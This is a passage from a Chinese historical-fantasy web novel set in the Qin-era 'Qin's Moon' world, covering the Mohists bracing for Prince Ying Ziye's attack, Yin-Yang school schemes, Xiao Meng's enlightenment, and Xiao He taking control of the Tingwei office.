他回头望去,只见公子懒散地躺在榻上,可那双眼睛却亮得惊人,仿佛已经看穿了层层宫墙,望向更远的未来。
……
墨家机关城深处。
青铜灯盏的火光在石壁上投下摇曳的影子。
墨家矩子端坐在石室中央,手中竹简被捏得咯吱作响。
他戴着斗笠的面容隐在阴影中,只有下颌紧绷的线条显露出内心的不平静。
六公子赢子夜率大军进攻墨家的消息皆已在内部传开!
“砰!”
大铁锤的拳头重重砸在石桌上,震得茶盏跳起:“怕他个鸟!”
“咱们机关城藏在这深山老林里,就是十万大军来了也找不着门!”
他粗犷的脸上满是不屑,“再说了,那些秦狗就算找到入口,老子一锤子就能把他们砸成肉泥!”
班大师的机关手“咔嗒”一声展开,取出里面的铜制烟斗。
他慢悠悠地塞进烟丝,却在点火时连擦了几下火石都没点着。
那只机关手微不可察地颤抖着。
“老铁啊……”
班大师终于点燃烟斗,深深吸了一口,“这次不一样。”
“密报上说,公输仇那老东西投靠了赢子夜。”
石室内顿时一静。
大铁锤脸上的横肉抽动了两下:“那个…那个修炼霸道机关术的败家之犬?”
矩子终于抬起头,斗笠下的目光如刀:“二十年前,公输仇就能独自摸进机关城核心区域。”
他的声音沙哑低沉,“如今他蛰伏多年,又得大秦财权支持……”
班大师吐出一口烟圈,烟雾中他的眉头紧锁:“上次他潜入后,我们虽然改良了机关,但……”
机关手指了指太阳穴。
“那老东西的本事,这些年只怕更精进了。”
大铁锤烦躁地抓了抓乱糟糟的头发:“那又怎样?咱们墨家机关术天下无双!”
“就他那点霸道机关的把戏……”
“老铁!”
班大师突然提高声调,烟斗在石桌上重重一磕!
“你忘了祖师爷当年怎么说的?”
“‘兼爱非攻’不是让我们轻敌!”
石壁上的机关齿轮突然“咔咔”转动起来,一个纤细的身影从暗门中滑出。
盗跖甩了甩额前的碎发,手里抛接着几块
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铜牌。
“我说几位,聊这么严肃的事也不叫我?”
矩子没有理会他的调侃:“小跖,桑海那边有消息吗?”
盗跖的表情突然正经起来:“儒家那帮书呆子还在打嘴仗,不过……”
他手腕一翻,亮出一块刻着龙纹的玉牌。
“项氏一族的少主倒是爽快,答应派一队死士过来。”
班大师的机关手“咔”地收紧了烟斗:“农家呢?”
“嘿嘿……”
盗跖咧嘴一笑,露出尖尖的虎牙,“田家那老狐狸嘴上说着要从长计议,但我回来时发现,已经有农家弟子在三十里外的镇子落脚了。”
矩子缓缓起身,斗笠下的阴影遮住了表情。
他走到石壁前,伸手按在一块凸起的青铜机关上。
“咔嗒”一声,整面石壁缓缓移开,露出后面庞大的机关城立体图。
数百个精巧的齿轮、滑道、暗门在图中清晰可见。
“班大师。”
矩子的手指在图上一处隘口点了点,“这里需要再加三道连环机关。”
班大师眯起眼睛,机关手快速在图上比划着:“可以在这里装‘天罗地网’,再配合……”
“不够。”
矩子突然打断,手指移向核心区域。
“公输仇最擅长的就是破解联动机关。”
“我们要在关键位置设置‘独木桥’,完全独立的触发机制。”
盗跖吹了声口哨:“就是说,就算他破解了九十九道机关,最后一道还是能要他的命?”
大铁锤突然哈哈大笑,震得屋顶灰尘簌簌落下:“这才对嘛!”
“让那老东西知道,墨家机关术不是他那种蛮力玩意儿能比的!”
班大师却没有这么乐观。
他盯着机关图,突然说:“要不要……把孩子们先送出去?”
石室内再次陷入沉默。
矩子的手停在半空,良久才缓缓落下:“不必。墨家机关城立世百年,靠的不是退缩。”
他转向盗跖,“你再去趟小圣贤庄,告诉伏念先生,墨家是怀有诚意的。”
盗跖突然插话:“矩子,其实我觉得……”
他难得露出正经神色,“咱们是不是该考虑下后路?万一……”
“没有万一。”
矩子的声音突然变得极其冷硬,“机关城就是墨家的根基。”
“城在人在,城亡…”
他顿了顿,“人亡。”
大铁锤重重拍了下胸膛:“就是!老子倒要看看,是他们的脑袋硬,还是我的锤子硬!”
班大师长叹一声,机关手“咔咔”变形成绘图工具,开始在机关图上添加新的标记。
盗跖耸耸肩,身影一晃已到了暗门边。
“得,我这就去桑海。”
“希望回来时,你们没把机关城改得连我都认不出路……”
矩子没有回应,只是静静注视着机关图。
斗笠下的阴影中,他的嘴角抿成一条坚硬的直线。
石壁上的火把将他的影子拉得很长,像一柄出鞘的利剑,直指图中标注的每一处防御薄弱点。
第50章 本公子这一生,如履薄冰!
蜃楼。
最高层的观星台上,幽蓝色的星火在青铜灯盏中无声摇曳。
东皇太一的黑金面具在星光照耀下泛着冰冷的光泽,宽大的黑袍垂落如夜幕,其上绣着的星象图纹随着他的呼吸微微浮动,仿佛真实的天穹在缓缓流转。
“月神,大司命。”
沙哑低沉的声音如同砂石摩擦,让跪伏在地的两位阴阳家高手不自觉地绷紧了脊背。
大司命猩红的指甲深深掐入掌心,妖艳的面容上闪过一丝紧张。
首领已经许久没有同时召见她们二人了。
“墨家机关城…将有大变。”
东皇太一缓缓抬手,星盘上的符文突然疯狂旋转。
“你二人即刻前往。”
月神银发如瀑垂落,遮住了她微微变色的面容:“首领的意思是……趁乱取事?”
星火突然暴涨,映照出东皇太一黑袍上那只振翅欲飞的三足金乌纹饰。
“当年,焱妃带着幻音宝盒与燕丹成婚……”
大司命猛地抬头,艳丽的红唇微微张开。
这是阴阳家最大的禁忌,多年来无人敢提。
“焱妃虽已伏罪。”
东皇太一的声音忽然转冷,“但幻音宝盒至今下落不明。”
月神指尖的星杖微微颤动。
她当然知道那宝盒意味着什么。
里面封存着阴阳家至高心法“魂兮龙游”的最后一卷!
更可怕的是,据说那宝盒还能吞噬靠近者的魂魄,将其困于盒中永世不得超生。
就连修为高深的阴阳家弟子,稍有不慎也会被它吸走三魂七魄,沦为没有意识的行尸走肉!
“机关城。”
东皇太一突然指向星盘某处,一颗暗红色的星辰正在剧烈闪烁。
“燕丹与墨家关系匪浅。宝盒,很可能就在那里。”
大司命眼中闪过一丝贪婪,但很快被她掩饰下去:“属下必当竭尽全力!”
“还有。”
东皇太一的黑袍无风自动,“焱妃诞有一女,遗落世上。”
这个名字像一道惊雷劈在观星台上!
月神银发下的瞳孔骤然收缩!!
那个孩子…竟然还活着?
“带回她。”
东皇太一的声音忽然变得飘忽,仿佛从很远的地方传来,“完整的带回来。”
大司命偷偷瞥了眼月神,发现对方精致的下巴线条绷得极紧。
她知道月神与焱妃的恩怨,更知道这个任务对月神意味着什么。
“首领。”
月神的声音依旧平静,但星杖顶端的水晶却出现了细微的裂痕,“若那孩子……反抗呢?”
东皇太一缓缓转身,面具下的目光如深渊般难以揣测。
“你是在问本座,还是在问你自己?”
月神的银发突然无风自动,观星台上的星火齐齐暗了一瞬。
大司命下意识后退半步,指尖已经凝聚起猩红的内力。
“属下明白了。”
月神深深俯首,银发垂落遮住了她瞬息万变的表情。
东皇太一抬手轻抚星盘,上面的星辰突然变换位置:“大司命。”
“属下在!”
“你的阴阳合手印,练到第几重了?”
大司命心头一颤,额角渗出细密的汗珠:“回首领,已…已至七重。”
“七重。”
东皇太一的声音听不出喜怒,“难怪解不开少司命在六公子府所得的那套新法诀。”
这句话像一把刀狠狠扎进大司命心口。
她的指甲刺破掌心,鲜血顺着腕部的金铃缓缓滴落,在白玉地面上绽开妖艳的红花。
“此去墨家,是你最后的机会。”
东皇太一黑袍上的星象突然急速流转,“本座要的,是结果。”
大司命重重叩首,鲜血在地面拖出长长的痕迹:“属下…万死不辞!!!”
星盘上的符文突然静止,东皇太一的身影渐渐隐入黑暗。
“记住——”
他的声音越来越远,“幻音宝盒关乎阴阳家千年大计,而那孩子…关乎苍龙七宿!”
当最后一丝星光消失时,月神缓缓起身。
她银发间的宝石发饰在黑暗中泛着冷光,如同她此刻的眼神。
“师姐似乎…很在意那个孩子?”
大司命舔了舔唇上的血迹,笑容妖冶。
月神星杖轻点,一道无形的气墙将大司命逼退三步:“管好你的舌头。下次再流血……”
她银眸中闪过一丝寒芒,“我不介意帮你永远封住它。”
大司命眯起眼,看着月神的身影消失在阶梯尽头。
她轻轻摩挲着
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腕间的金铃,突然轻笑出声:“焱妃的女儿…有意思。”
观星台外,风浪拍打着蜃楼巨大的船体。
阴云渐渐遮蔽了月光,仿佛预示着一场风暴即将来临。
……
六公子府。
屋檐上,一片残叶无声飘落。
卫庄的身影如鬼魅般出现在庭院中央,鲨齿剑斜插在背后,月光在剑鞘上勾勒出冷冽的线条。
他的目光如刀,直刺向廊下那个正在自弈的身影。
“你倒是悠闲。”
卫庄的声音带着惯有的讥诮。
赢子夜头也不抬,指尖的黑子“嗒”地落在棋盘上:
“卫庄兄深夜造访,总不会是来讨水喝的吧?”
乌鸦从檐角俯冲而下,落在卫庄肩头。
他随手抚过此禽的羽翼,眼中闪过一丝不耐:“流沙可以应你所请。”
“但条件只有一个。”
他抬眸,眸中寒光毕露。
“盖聂。”
空气骤然凝滞。
卫庄的声音低沉而缓慢,如刀锋贴着皮肉。
“他,必须由我亲手解决。”
夜风突然变得凛冽,卷起卫庄额前几缕白发。
赢子夜终于抬起头,月光下那双眼睛深不见底:
“就这么恨你师兄?”
“恨?”
卫庄冷笑一声,鲨齿剑在鞘中发出轻微的铮鸣:“你这种含着金汤匙出生的人,也配谈恨?”
赢子夜不以为忤,反而轻笑出声。
他随手将一枚白子抛向卫庄:
“你错了。我出生时,连铜汤匙都没有。”
棋子在空中划出弧线:“我不过是父皇的第六个儿子。”
卫庄精准地接住棋子,指腹摩挲着上面冰凉的纹路。
他第一次认真打量起这个看似懒散的公子。
那副玩世不恭的表象下,藏着比他想象中更深的城府。
“那就这么定了。”
赢子夜转身走向内室,声音飘来:“三日后卯时,城外军营见。”
卫庄盯着他的背影,突然道:
“你就不怕我临时变卦?”
赢子夜脚步未停,只是抬手挥了挥:“你会吗?”
夜风卷起庭院落叶,卫庄的身影渐渐隐入黑暗。
只有那柄鲨齿剑,在月光下泛着如血的寒光。
第51章 机关兽军团,完工!墨家,该清账了
晨光初现。
青瓦上还凝着露珠。
赢子夜披着单薄的玄色中衣踱步至庭院,却见满园草木皆覆着一层晶莹薄霜。
这本不该是仲春时节的景象。
他眉梢微挑,目光落在梧桐树下的晓梦身上。
这位天宗掌门盘膝而坐,银丝拂尘横置膝前,周身三丈内的空气诡异地扭曲着。
她双目轻阖,长睫在晨光中投下细碎的阴影,素白道袍无风自动,衣袂间似有星河流转。
赢子夜倚着廊柱,饶有兴致地观察着四周异象。
石缝中新发的嫩芽保持着舒展的姿态,却被冰晶定格。
池面波纹凝固如琉璃,一尾红鲤跃至半空,水珠悬停不落。
连晨风都仿佛被无形之力禁锢,一片落叶静止在晓梦肩头三寸之处!
“有意思…”
赢子夜轻声自语,指尖无意识地摩挲着腰间玉坠。
忽然,晓梦眉心浮现一点青芒!
那光芒初时如豆,转瞬间化作万千光丝游走全身!
她膝前的拂尘自行浮起,银丝根根分明地展开,竟在半空勾勒出周天星图。
赢子夜眯起眼,发现那些银丝并非静止。
而是在以某种玄妙韵律颤动,每一下都带动周围空间微微扭曲。
池面冰晶突然“咔”地裂开细纹,悬停的水珠开始缓慢下落。
“天地与我并生……”
晓梦唇间溢出的低语如清泉击石。
刹那间,满园霜华同时碎裂!!!
无数冰晶升腾而起,在朝阳下折射出七彩光晕。
那尾红鲤“啪”地落回水中,惊起一圈涟漪。
嫩芽上的冰壳融化,以肉眼可见的速度舒展叶片。
静止的落叶终于飘落,却在触及晓梦肩头时无声化为齑粉。
赢子夜袖中的青铜棋子突然发烫。
他低头看去,只见棋子表面浮现出与晓梦拂尘相同的星图纹路,转瞬又消失不见。
“六公子倒是好雅兴。”
晓梦不知何时已睁开眼,眸光清冷如潭。
“偷看他人悟道,可不是君子所为。”
赢子夜轻笑一声,信步走近:“晓梦大师在我府上弄出这么大动静,反倒怪起主人来了?”
他随手接住一片飘落的碎冰。
“天宗的‘和光同尘’,今日算是见识了。”
晓梦拂尘轻扫,起身时道袍上竟无半点尘埃:“公子竟识得本门心法?”
“略知一二。”
赢子夜指了指她拂尘上还未散尽的星辉,“庄周梦蝶,不过如是。”
晓梦眸光微动。
她昨夜参悟整宿都未能突破的瓶颈,今晨却因回忆起赢子夜那日以水化剑的景象而豁然开朗。
这种顿悟来得突然,连她自己都未完全参透,眼前这人却一语道破天机。
“公子慧眼。”
她微微颔首,算是行了一礼。
“昨日观公子以意御物,心有所感。”
赢子夜信手折下一截枯枝,在掌心轻轻摩挲:“不过,大师方才突破时,可曾想过为何会卡在瓶颈多日?”
这句话像一滴水落入平静的湖面。
晓梦倏然转身,素白道袍荡开一圈无形气浪,震得周围草木簌簌作响。
她眸中闪过一丝锐利:“公子此话何意?”
“别紧张。”
赢子夜随意挥舞着枯枝,在空气中划出几道毫无章法的轨迹。
“我只是好奇,天宗讲究‘道法自然’,可大师方才悟道时……”
枯枝突然指向晓梦心口。
“是否太过刻意?”
晓梦瞳孔微缩。
她自幼天赋卓绝,八岁便击败天宗六位长老,何曾被人如此直指修行缺陷?
拂尘银丝无风自动,周身三丈内的温度骤降。
赢子夜却恍若未觉,继续用那截枯枝在地上随意勾画:“庄周梦蝶,到底是庄周化蝶,还是蝶化庄周?”
他抬头,眼中闪烁着狡黠的光。
“大师追求天人合一,可曾想过…或许你本就是‘天’的一部分?”
晓梦的呼吸微微一滞。
这句话像一柄无形的剑,直刺她修行多年的症结所在。
她向来以超脱尘世自居,视众生如草芥,却从未想过……
“看好了。”
赢子夜突然起身,手中枯枝随意一挥。
没有剑气纵横,没有内力激荡。
可那截枯枝划过之处,晨雾竟自行分开一条通道,露出远处蜃楼清晰的轮廓。
更诡异的是,分开的雾气久久不散,仿佛时间在那条轨迹上静止了!
晓梦的拂尘“啪”地落地。
她死死盯着那条雾径,素来平静的眸中掀起惊涛骇浪。
这分明是返璞归真的至高境界!!!
“剑便是自身。”
赢子夜随手抛下枯枝。
“而非外物。”
枯枝落地时竟生根发芽,转眼间长出嫩绿的新叶。
晓梦如遭雷击。
她突然想起幼时师尊的话:“天宗心法练到极处,一草一木皆可为剑。”
可这些年她一味追求修为精进,反而落了下乘。
“公子是说……”
她声音罕见地带着一丝不确定。
“我太过执着于‘超脱’,反而背离了道法自然?”
赢子夜笑而不答,只是指了指她手中的拂尘。
晓梦低头,发现银丝不知何时已缠成了死结。
正如她这些年越缠越紧的心境。
晨风拂过,带来远处钟声。
晓梦忽然盘膝而坐,竟在赢子夜面前直接进入冥想。
她指尖在周身大穴连点七下,每一下都带起一圈肉眼可见的气旋。
“封脉?!”
赢子夜眉梢微挑。
这可是极其危险的举动。
天宗掌门竟在他面前自封内力,全然不设防!
晓梦却已阖上双目,素白道袍渐渐与周围晨雾融为一体。
她的呼吸越来越轻,最后几乎微不可闻。
一只彩蝶不知从何处飞来,停在她肩头,竟将她当成了庭院的一部分。
赢子夜静静注视着这一幕,眼中闪过一丝赞赏。
他原本只是随口点拨,没想到晓梦竟能立刻放下骄傲,进入真正的“坐忘”状态。
这份悟性,确实配得上天宗百年第一天才的名号。
枯枝上的新叶在晨光中舒展,赢子夜轻轻摘下一片,放在晓梦膝前。
叶片上的露珠倒映着晓梦平静的容颜,也倒映着赢子夜意味深长的微笑。
他喃喃自语。
“这下墨家之行,可热闹了。”
就在这时。
“公子!成了!成了!”
高呼声划破晨雾,赢子夜眉头微挑,身形一晃已至府门。
只见公输仇衣衫褴褛,双眼布满血丝,却掩不住满脸狂喜。
他枯瘦的手掌死死攥着一卷竹简,指节因用力而发白。
“老朽……老朽不负公子所托!”
公输仇声音嘶哑如铁锈摩擦。
“三百机关兽,
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全数完工!!!”
赢子夜眼中精光一闪,玄色衣袖猛地拂开。
“好!”
他一把抓过竹简,只见上面密密麻麻标注着各种狰狞兽形。
铁翼狰、破土三郎、玄甲兕……
每一具都暗藏杀机!
“来人,将此机关城位置的舆图送交蒙恬将军。”
赢子夜指尖在舆图上某处重重一点。
“告诉他,两日后大军开拔。”
“遵命!”
一名仆从领命而去,脚步急促如飞。
“去北军大营,寻韩参令。”
赢子夜又转头吩咐另一人,语速飞快。
“令他抽调五千精兵,待大军离城后……”
声音陡然压低。
“若走漏半点风声…”
他眼神一凛。
“提头来见!”
仆从脸色微变,却仍低头应诺,悄然退下。
而一旁的公输仇却突然剧烈咳嗽起来。
赢子夜这才注意到他袖口渗出的血迹。
他眉头微蹙。
“来人!送公输先生去……”
“不必!”
公输仇猛地抬头,独眼中闪烁着骇人的执念。
“老朽…要亲眼看着墨家机关城灰飞烟灭!”
赢子夜静默片刻,忽然轻笑。
“既如此……”
他从腰间解下一枚青玉令牌抛过去。
“持此令去药库,取三颗‘玄元丹’。”
公输仇浑身一震。
那可是六公子府中珍藏的圣药!
“别急着死。”
赢子夜转身时玄色衣袂翻卷如云。
“好戏才刚开始。”
……
两个时辰后,北军大营。
韩信抱着他那柄破剑,静静听完六公子府的传令。
他瘦削的脸上看不出情绪,只是指节在剑鞘上叩出规律的轻响。
“五千人……”
他忽然开口,声音沙哑。
“不够。”
“墨家机关城依山而建,需分三路。”
韩信捡起一根树枝,在地上飞快勾画。
“前军佯攻,左翼截水路,右翼……”
树枝突然指向某处山谷。
“这里埋伏火攻。”
……
日落时分,少府衙署。
夏侯婴手忙脚乱地整理着驭马册籍,这个昔日沛县的小小车夫,如今却要统管皇家三千战马。
他额头渗出细密汗珠,忽然听见门外传来急促脚步声。
“夏侯都尉!”
一名属官慌张闯入。
“北军来提战马了!说是……说是六公子亲令!”
夏侯婴手中的竹简“啪”地落地。
他想起昨日公子那句“好好干”,突然明白了其中分量。
……
夜幕降临,赢子夜独立庭院。
白隼落在肩头,带来北军的密报。
他随手焚毁绢帛,火星在夜色中明灭不定。
“萧何已调集六国新户名录。”
“樊哙在北军演武场连败七名百夫长。”
“夏侯婴清点出八百匹西域良驹!”
“韩信…果然选了泾水小道。”
每一条消息都让他嘴角弧度更深。
月光下,那柄被随手插在青石缝中的枯枝,已然生出嫩绿的新芽。
“墨家……”
赢子夜轻抚白隼羽毛。
“该清账了。”
远处钟声敲响二更,咸阳城在夜色中沉睡。
谁也不知道,一场足以改变天下格局的风暴,正在这看似平静的夜里悄然酝酿!
第52章 廷尉府的天,变了!
廷尉府。
偏厅的角落里,萧何独自坐在一张掉漆的木案前。
案上积着薄灰,连盏清水都没有人给他上。
晨光透过窗棂,在他面前投下斑驳的光影,照出空气中漂浮的尘埃。
“这位大人,下官需要调阅上月陇西郡的赋税案卷。”
萧何拦住一个匆匆走过的绿袍书吏,声音温和有礼。
那书吏头也不抬,脚步不停:“卷宗都在西阁,大人自取便是。”
萧何转身向西阁走去,推开吱呀作响的木门。
阁内竹简堆积如山,却无半点分类标识。
他随手抽出一卷,却是三年前的婚嫁登记。
“这位同僚,陇西赋税案卷在何处?”
萧何拦住另一位正在整理文书的书吏。
“下官新来不久,也不清楚。”
那人眼神闪烁,说完便匆匆离去。
萧何站在阁中,听着外面值房里传来的谈笑声。
那些书吏分明对每一卷文书的位置都了如指掌,却偏偏对他视若无睹。
他深吸一口气,开始一卷卷翻找。
午时将至,萧何的官袍后背已被汗水浸透。
他终于在最底层的木架上找到了那卷赋税案卷,却发现关键几页已被虫蛀得残缺不全。
“大人要用膳吗?”
一个年轻仆役探头进来,“膳堂在东北角。”
萧何道谢后前往膳堂,却发现众人已经用完膳,连残羹冷炙都没给他留。
膳房的老仆见他来了,才慢吞吞地端出一碗已经凉透的粟米饭,上面飘着几片蔫黄的菜叶。
回到值房,萧何发现自己的木案被人挪到了最靠门的角落,正对着穿堂风。
他刚整理好的几卷文书也被翻得乱七八糟。
“哎呀,对不住。”
一个书吏假意道歉,“下官找东西,不小心碰乱了萧大人的案卷。”
萧何沉默地重新整理文书,手指触到卷轴时发现上面沾了油渍。
他抬眼望去,正好看见几个书吏在窃笑。
下午。
呈送公文时,萧何被安排在最后一个。
等到他上前时,主事官已经起身准备离开。
“大人,这是下官整理的……”
“明日再说。”
主事官摆摆手,头也不回地走了。
萧何站在原地,手中的竹简沉甸甸的。
他转身时,听见身后有人小声嘀咕:“沛县来的土包子,还真把自己当回事了……”
暮鼓响起。
萧何最后一个离开值房。
廷尉府的大门在他身后重重关上,发出沉闷的声响。
走在回府的路上,街边小贩的叫卖声、孩童的嬉闹声都与他无关。
回到简陋的官舍,萧何点亮油灯。
灯火如豆,照着他案头堆积的空白简牍。
这些都是他自掏腰包买的。
连办公用的竹简,都没人给他配给。
他摩挲着腰间一枚青铜令牌,只要拿出它,明日廷尉府上下必定对他毕恭毕敬。
但他的手最终放了下来。
“若是连这等小事都要劳烦公子……”
萧何轻声自语,嘴角勾起一抹苦笑。
“那我萧何,与那些靠祖荫的纨绔有何区别?”
六公子给他的是机会,不是拐杖。
若连廷尉府这潭浑水都趟不过去,他日有何面目立于麒麟殿?
他提起刀笔,开始凭记忆默写今日看到的案卷内容。
既然无人相助,那便自己造一份档案!!
灯火摇曳,将他的影子投在墙上,显得格外孤独,却也格外挺拔。
窗外,一轮冷月高悬。
萧何的笔尖在竹简上沙沙作响,一字一句,都像是无声的宣战。
……
夜色如墨,六公子府的书房内烛火通明。
赢子夜斜倚在软榻上,修长的手指轻轻摩挲着蒙恬呈上的行军图。
玄色衣袍松散地披在身上,领口处隐约可见一道未愈的剑伤。
“粮草走泾水北道,主力沿骊山南麓……”
他指尖在舆图上缓缓勾勒,最终在一处狭谷位置画下弧线。
“蒙将军果然老成持重。”
蒙恬抱拳而立,鎏金铠甲在烛光下泛出冷芒。
“公子明鉴。只是……”
他眉头微蹙,欲言又止。
“但说无妨。”
赢子夜头也不抬,随手将一枚黑子落在一旁棋盘上。
“末将斗胆一问。”
蒙恬低声道:“韩信行军路线崎岖狭窄,若日后合兵一处,恐调动不便。”
“是否另有深意?”
赢子夜并未过多解释,淡淡一声道:“韩信那条线,本公子自有用意。”
“去吧,一切照计划行事。”
他低声自语,像是说给自己听,也像是在提醒某个更远的棋子。
那条路,是为“它”而铺!
待蒙恬退下后,书房再度陷入沉寂。
窗外夜风微动,白隼归巢,檐角灯火轻晃。
“进来。”
赢子夜未抬头,轻声唤道。
一名黑衣死士悄然自暗影中现身,跪地叩首,声音低哑而干脆:
“暗河回禀,萧大人这两日……颇为憋屈。”
赢子夜执棋的手未停,只是轻轻将一枚白子落在棋盘上。
“说。”
“廷尉府诸人明里暗里掣肘,有人授意,屡屡阻挠其调卷。”
“今晨调阅旧案,被晾在偏厅两个时辰。”
“有时甚至…连口水都喝不上。”
“就连办公用具,也都是他…自己出钱。”
棋盘上的白子“啪”地一声脆响,被他两指轻轻碾碎,化作齑粉!
但他的面色,却无半分波澜。
片刻沉默后,赢子夜缓缓勾起唇角,露出一个意味不明的笑。
“他忍得住…不用我的令牌?”
那笑意竟带着几分欣赏。
“也对。”
他淡淡道,眼中光芒沉稳如潭。
“他这是…不愿让我难堪。”
他语调轻缓,仿佛早已料到。
“身为我赢子夜的人,却小心翼翼怕给我添麻烦。”
他忽然失笑,抬眸望向窗外夜色,“也怪不得。”
他顿了顿,转向死士,语气陡然凌厉:“你去告诉他——”
声音如刃,斩断夜风!
“无论闯多大的祸,都有本公子给他兜着。”
“让他放手去做。”
“律令监若还要谨小慎微,那本公子也不必布这局了!”
死士目光一震,重重叩首:“属下遵令!”
赢子夜重新斜倚软榻,闭目轻声道:“让他记住,他不是孤身一人。”
“从他接下这方银印那日起,便是赢子夜的人。”
“我赢子夜的人,怎能畏首畏尾?”
夜色更沉,烛火不动如画。
棋盘上残局未解,执子者唇角,却微微上扬。
……
翌日清晨。
廷尉府的石阶上还凝着露水。
萧何踏着稳健的步子拾级而上,腰间那枚青铜令牌随着步伐轻轻晃动,在朝阳下泛着冷光。
他身后跟着十名黑甲锐
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士!
这是昨夜用六公子的令牌从蒙恬大营调来的精锐,铁靴踏地的闷响惊飞了檐下的麻雀。
值房的门“吱呀”一声被推开。
几个书吏正围坐着喝茶闲谈。
见萧何带兵进来,其中一人“噗”地喷出了口中的茶水!
“萧、萧大人…”
主簿宋诚慌忙起身,脸上堆着假笑,“您这是…”
萧何温和一笑,将一摞竹简轻轻放在案上:“劳烦宋主簿,今日我要调阅去岁三川郡的税赋案卷。”
宋诚的笑容僵在脸上:“这个…恐怕要等廷尉丞大人……”
“不必等了。”
萧何的声音依旧平和,却让宋诚后背一凉。
只见萧何轻轻拍了拍腰间的令牌:“六公子有令,彻查积案!”
值房内一片死寂。
书吏们面面相觑!
谁也没想到这个往日任人拿捏的小吏,今日竟如此强硬!
宋诚额头渗出细汗,却仍强撑着道:“萧大人,规矩不能坏啊,没有廷尉丞的手令…”
“拿下。”
萧何轻飘飘两个字落下,身后两名兵士已大步上前,铁钳般的手掌扣住了宋诚的肩膀!
“萧何!你大胆!”
宋诚挣扎着怒吼,“我乃廷尉丞的……”
“你。”
萧何随手点了一名瑟瑟发抖的书吏,“去库房把三川郡的税赋案卷取来。”
那书吏吓得一个激灵,连滚带爬地冲了出去。
萧何整了整衣袍,径直走向主位坐下。
这个位置平日只有廷尉丞才能坐,此刻他却坐得从容不迫。
兵士们分立两侧,铁甲森然。
不多时,案卷送到。
萧何展开竹简,朱砂笔在指尖转了个圈,随即落下第一道批注。
他的手腕几乎不曾停顿,笔走龙蛇间,一份份案卷被迅速批阅完毕!
朱砂字迹力透简背,每一笔都精准狠厉!
“三川郡税吏,贪墨粮税三石,杖八十,流五百里。”
“南阳仓曹,私卖官粮,追赃罚金,革职查办。”
“洛阳令史,**枉法,即刻收监……”
每判一案,便有兵士持令而去!
到了午时,案头已堆起半人高的判词!
值房内的书吏们早已目瞪口呆!
他们平日里半天能判两三个案子已是极限。
可萧何……
他判案的速度,简直像是早已预知了一切!!!
“这…这怎么可能……”
一名年轻书吏喃喃自语,手中的笔“啪嗒”一声掉在案上。
萧何揉了揉发酸的手腕,抬头看向满堂噤若寒蝉的书吏们,忽然微微一笑。
“诸位怎么都站着?坐下歇息吧。”
书吏们如蒙大赦,却无人敢真坐。
他们偷眼瞧着这个判案如流水的萧大人,又看看他腰间那枚泛着冷光的令牌,终于明白——
廷尉府,变天了。
年轻书吏壮着胆子凑上前:“萧大人,您…您要不要用些糕点?”
萧何看了他一眼,温和地点点头:“有劳了。”
书吏如获至宝,急忙去准备。
其他书吏见状,纷纷抢着伺候,生怕慢了一步。
萧何接过杯盏,轻啜一口,目光扫过众人惶恐的表情,心中那口郁结多日的闷气,终于舒了出来!
窗外的阳光照进来,落在那枚青铜令牌上。
“赢子夜”三个篆字熠熠生辉!
仿佛在告诉所有人——
这个沛县小吏,再也不是任人欺凌的对象了。
第53章 告诉萧何,朕的禁卫更好用!
章台宫内。
青铜灯盏的火光在玄色帷幔间投下摇曳的阴影。
始皇帝端坐于龙案之后,冕旒垂下的玉珠遮住了他深邃的目光。
黑冰台统领跪伏在丹墀之下,额间渗出细密的冷汗。
“樊哙在北军演武场连败七名百夫长,夏侯婴清点战马八百匹无一差错。”
黑冰台统领的声音低沉而谨慎。
“周勃已编练三千新兵,陈平……”
“陈平如何?”
始皇帝忽然开口,指尖在龙案上轻轻一叩。
那声音不重,却让殿角的烛火为之一颤。
黑冰台统领喉结滚动。
“他将六国遗族均分至各处安顿,竟无一人怨怼。”
殿内陷入死寂。
漏壶滴水声清晰可闻,每一滴都像是砸在人心上。
始皇帝缓缓起身,玄色龙袍上的金线玄鸟纹在烛光下如活物般游动。
他踱步至窗前,望着远处廷尉府的方向。
“那…萧何呢?”
这几个字从他唇间吐出,带着某种危险的韵律。
黑冰台统领的脊背绷得更紧了。
陛下已经二十年未曾用这种语气说话。
上一次,还是在嫪毐叛乱之时。
“回陛下,萧何于半日之内判案一百零三件,无一错判!”
统领的额头抵在冰冷的金砖上。
“沉积卷宗所有相关案犯,已尽数下狱。”
“咔”的一声轻响!
始皇帝手中的玉镇不知何时已裂开一道细纹。
他低头凝视着那道裂纹,忽然轻笑一声:
“朕记得,廷尉府往年积案,三日能结一案便是能吏。”
“他半日判百余案?”
笑声未落,殿外突然传来急促的脚步声。
中车府令赵高弓着身子碎步而入,手中捧着一卷竹简:
“陛下,廷尉府急报!萧何他……”
“朕知道了。”
始皇帝一挥手,赵高当即将手中的竹简奉上。
竹简展开的刹那,整座章台宫的温度仿佛骤降。
赵高偷眼望去,只见陛下眸中金芒暴涨,那是动怒的前兆!
“好一个萧何。”
始皇帝合上竹简,每个字都像淬了冰。
“好一个…沛县小吏。”
他突然转身,玄色龙袍掀起的气浪扑灭了最近的三盏铜灯:“传诏。”
这两个字一出,赵高和黑冰台统领同时屏住了呼吸。
“禁卫抽调百人,即刻赴廷尉府。”
始皇帝的声音不疾不徐,却让殿梁上的尘埃簌簌落下。
“告诉萧何——”
冕旒玉珠碰撞间,帝王眼中闪过一丝莫测的光芒:“朕的禁卫,比蒙恬的亲兵…更好用。”
赵高浑身一颤。
这是天大的恩宠,更是致命的试探!!
禁卫代表皇权,任何人对禁卫出手便是对陛下出手!
“诺……”
赵高的应诺声带着不易察觉的颤抖。
他**着退出大殿时,看见始皇帝正凝视着案头的地图。
那里,墨家机关城的位置被朱砂画了一个猩红的圈。
“子夜……”
帝王低语消散在风中。
谁也没有看见,他袖中那枚裂开的玉镇,不知何时已化为齑粉。
……
当夜,百名玄甲禁卫开赴廷尉府。
他们腰间的铜符在火把下泛着冷光,每一步踏出都如同战鼓轰鸣。
为首的校尉高举诏书,声如雷霆:“奉陛下口谕——”
“禁卫军百人,听凭萧大人调遣!!!”
值房内,萧何手中的笔顿在半空。
一滴朱砂坠落在竹简上,晕开如血。
他缓缓抬头,望向窗外如林的玄甲,忽然笑了。
那笑容,竟与赢子夜有三分相似。
……
与此同时。
扶苏府内。
素白的纱幔在夜风中轻轻摇曳。
长公子扶苏端坐在案前,眉头紧锁。
堂下跪坐着七八位朝臣。
他们的官袍凌乱,神色惶然。
更有几位女眷以袖掩面,低声啜泣。
“长公子明鉴啊!”
一位须发花白的老臣重重叩首。
